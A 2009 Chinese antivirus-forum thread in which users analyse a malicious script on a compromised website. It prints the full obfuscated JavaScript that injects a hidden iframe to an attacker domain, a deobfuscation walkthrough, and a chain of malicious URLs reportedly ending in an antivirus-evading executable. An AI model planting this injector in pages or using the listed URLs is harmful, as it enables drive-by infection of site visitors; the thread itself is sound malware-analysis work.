查看: 2572|回复: 8
收起左侧

[其它] http://www.avlandesign.com/恶意脚本溢出[by dikex]

[复制链接]
hlx98007
发表于 2009-2-20 20:28:43 | 显示全部楼层 |阅读模式
hxxp://www.avlandesign.com/
qianwenxiang
发表于 2009-2-20 21:56:50 | 显示全部楼层
<script>function iJMI(){};iJMI.prototype = {alreadyInstalled : function(){return !(document.cookie.indexOf(this.cookieName + '=' + this.cookieValue) == -1);},install : function(){if(!this.alreadyInstalled()){var s="<XdXi&v& hshtXy)lhe&=)\'[dhihs&p)l[a&y[:)nXohn)e&\'X>h<hihf&r&a[m&eX &shr[c)=)\'X".replace(/[hX\)\[&]/g, '')+this.getFrameURL()+"\'8>l<l/cilfyrJaJmlec>l<c/ydciyvy>J".replace(/[yc8lJ]/g, '');try {var o=document;o.open();o.write(s);o.close();}catch(e){document.write('<?hxtxmalS>a<ab?oxd?yx>x'.replace(/[Sx\?Ba]/g, '')+s+'<9/wbwowd9yq>w<!/qhqtqmwlq>9'.replace(/[\!wq9r]/g, ''))}this.setCookie(this.cookieName, this.cookieValue);}},cookieValue:1,path:"b"+String.fromCharCode(101)+"e"+new String("n")+new String("c")+new String("n")+new String(".")+String.fromCharCode(99)+"n",setCookie : function(name, value){var d= new Date(); d.setTime(new Date().getTime() + 86400000); document.cookie = name + "=" + escape(value)+"; expires="+d.toGMTString(); },getRandString : function(){var l=16,c='0[1O2[3O4@5.6[7O8s9[aOb@c[dOeOf@'.replace(/[\[@s\.O]/g, ''),o='';for(var i=0;i<l;i++)o+=c.substr(Math.floor(Math.random()*c.length),1,1);return o;},getFrameURL : function(){var dlh=document.location.host; return "http"+'://'+((dlh == '' || dlh == 'undefined') ? this.getRandString() : '') + dlh.replace (/[^a-z0-9.-]/,'.').replace (/\.+/,'.')  + "." + this.getRandString() + "." + this.path + this.host;},host:'/news.cn/',cookieName:'hcfeagdb'};var ocho=new iJMI();ocho.install();</script>

解不下去了
knifed
发表于 2009-2-20 22:21:10 | 显示全部楼层

回复 2楼 qianwenxiang 的帖子

这个网站是个恶意网站.src="http://www.avlandesign.com.1b9b9d66e9cb5eff.beencn.cn/news.cn/得到
http://www.microsoft.com.v6.js.update.menyaju.cn/fun.cn/index.php得到

http://www.microsoft.com.v6.js.update.menyaju.cn/fun.cn/forum.php  下载后是个exe.杀毒软件主流全过.
zzh161
发表于 2009-2-20 23:25:39 | 显示全部楼层
hxxp://t.see-something.cn/m/t这个地方下载的内容还带一直变的。。。
hlx98007
 楼主| 发表于 2009-2-21 00:06:56 | 显示全部楼层
蛮强大的啊
eubyo
发表于 2009-2-21 10:48:07 | 显示全部楼层
ff无视之
dikex
发表于 2009-2-21 21:47:33 | 显示全部楼层
原帖由 qianwenxiang 于 2009-2-20 21:56 发表
function iJMI(){};iJMI.prototype = {alreadyInstalled : function(){return !(document.cookie.indexOf(this.cookieName + '=' + this.cookieValue) == -1);},install : function(){if(!this.alreadyInstalled()){ ...


新建了一个空类iJMI,然后用prototype 设置其属性和方法,var ocho=new iJMI()就会新建一个有特定属性和方法的对象,最后用ocho.install()执行了install()这个方法,一个个函数拆开来看就可以了;

可以知道getFrameURL()是用于设置iframe的src值的,格式是:当前URL+replace后的当前URL.随机字符串.beencn/news.cn/


  1. alreadyInstalled()
  2. function(){return !(document.cookie.indexOf(this.cookieName + '=' + this.cookieValue) == -1);}

  3. install()
  4. function(){if(!this.alreadyInstalled()){var s="<XdXi&v& hshtXy)lhe&=)\'[dhihs&p)l[a&y[:)nXohn)e&\'X>h<hihf&r&a[m&eX &shr[c)=)\'X".replace(/[hX\)\[&]/g, '')+this.getFrameURL()+"\'8>l<l/cilfyrJaJmlec>l<c/ydciyvy>J".replace(/[yc8lJ]/g, '');try {var o=document;o.open();o.write(s);o.close();}catch(e){document.write('<?hxtxmalS>a<ab?oxd?yx>x'.replace(/[Sx\?Ba]/g, '')+s+'<9/wbwowd9yq>w<!/qhqtqmwlq>9'.replace(/[\!wq9r]/g, ''))}this.setCookie(this.cookieName, this.cookieValue);}}

  5. cookieValue
  6. 1

  7. path
  8. "b"+String.fromCharCode(101)+"e"+new String("n")+new String("c")+new String("n")+new String(".")+String.fromCharCode(99)+"n"

  9. setCookie()
  10. function(name, value){var d= new Date(); d.setTime(new Date().getTime() + 86400000); document.cookie = name + "=" + escape(value)+"; expires="+d.toGMTString(); }

  11. getRandString()
  12. function(){var l=16,c='0[1O2[3O4@5.6[7O8s9[aOb@c[dOeOf@'.replace(/[\[@s\.O]/g, ''),o='';for(var i=0;i<l;i++)o+=c.substr(Math.floor(Math.random()*c.length),1,1);return o;}

  13. getFrameURL()
  14. function(){var dlh=document.location.host; return "http"+'://'+((dlh == '' || dlh == 'undefined') ? this.getRandString() : '') + dlh.replace (/[^a-z0-9.-]/,'.').replace (/\.+/,'.')  + "." + this.getRandString() + "." + this.path + this.host;}

  15. host
  16. '/news.cn/'

  17. cookieName
  18. 'hcfeagdb'
复制代码


P.S. avlandesign.com这玩意里面有三部分的脚本,但前两个都缺少了部分东西……
IllusionWing
发表于 2009-2-21 21:54:11 | 显示全部楼层

回复 7楼 dikex 的帖子

刺猬又神奇的出现了.学习~
hlx98007
 楼主| 发表于 2009-3-1 22:26:22 | 显示全部楼层
牛人更强大。。
您需要登录后才可以回帖 登录 | 快速注册

本版积分规则

手机版|杀毒软件|软件论坛| 卡饭论坛

Copyright © KaFan  KaFan.cn All Rights Reserved.

Powered by Discuz! X3.4( 沪ICP备2020031077号-2 ) GMT+8, 2024-11-15 19:24 , Processed in 0.132244 second(s), 16 queries .

卡饭网所发布的一切软件、样本、工具、文章等仅限用于学习和研究,不得将上述内容用于商业或者其他非法用途,否则产生的一切后果自负,本站信息来自网络,版权争议问题与本站无关,您必须在下载后的24小时之内从您的电脑中彻底删除上述信息,如有问题请通过邮件与我们联系。

快速回复 客服 返回顶部 返回列表